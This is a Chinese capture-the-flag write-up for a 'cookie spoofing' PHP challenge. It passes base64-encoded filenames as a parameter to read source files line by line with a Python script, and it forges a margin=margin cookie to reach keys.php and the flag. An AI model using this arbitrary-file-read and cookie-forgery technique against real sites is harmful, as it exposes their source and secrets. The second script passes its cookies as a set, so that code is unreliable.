知识点
isset: 检测变量是否设置,并且不是 NULL $_GET:收集来自 method=“get” 的表单里的值
intval() 函数用于获取变量的整数值。
in_array() 函数搜索数组里是否存在指定的值。 举例: <?php $am = array("Bill", "Steve", "trump", "David"); if (in_array("trump", $am)) { echo "匹配已找到"; } else { echo "匹配未找到"; } ?>
结果: 匹配已找到
file() 函数把整个文件读入一个数组里 file() 将文件作为一个数组返回。数组里的各单元都为文件里相应的一行,包括换行符在内。
解题流程
查看题目描述: cookies欺骗 打开网页  只看到很长的字符串  base64解码  通常的源文件应该是index.php 2、对index.php进行base64编码并作为新的filename的参数  3、查看源文件,其里line变量起到控制行数的作用: http://114.67.246.176:13972/index.php?line=1&filename=aW5kZXgucGhw   4、编写python脚本,查看全部源码
import requests
rs = requests.session()
f = open("out.php", "w")
for i in range(1,30):
url = "http://114.67.246.176:13972/index.php?line={}&filename=aW5kZXgucGhw=".format(i)
rsg = rs.get(url)
print(rsg.text,file=f)
f.close()
5、分析PHP源代码,结合题目描述,我们需要上传一个cookies,令margin=margin
<?
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
至此,我们的目标网址应该是: http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA=(filename替换为 keys.php的base64加密后的内容) line写成0(file将文件的内容作为数组时第一行下标是0,至于刚刚那个index.php应该是首行为空的) 6、三类上传方法: (1)通过BrupSuite抓包后上传   (2)编写python脚本上传
import requests
url = "http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA="
mysession = requests.session()
cookies = {'margin','margin'}
r = mysession.post(url,cookies=cookies)
print(r.text)
(3)使用Hackbar上传  7、得到flag:flag{4db7115d577eed11439dd72738823e9f}
|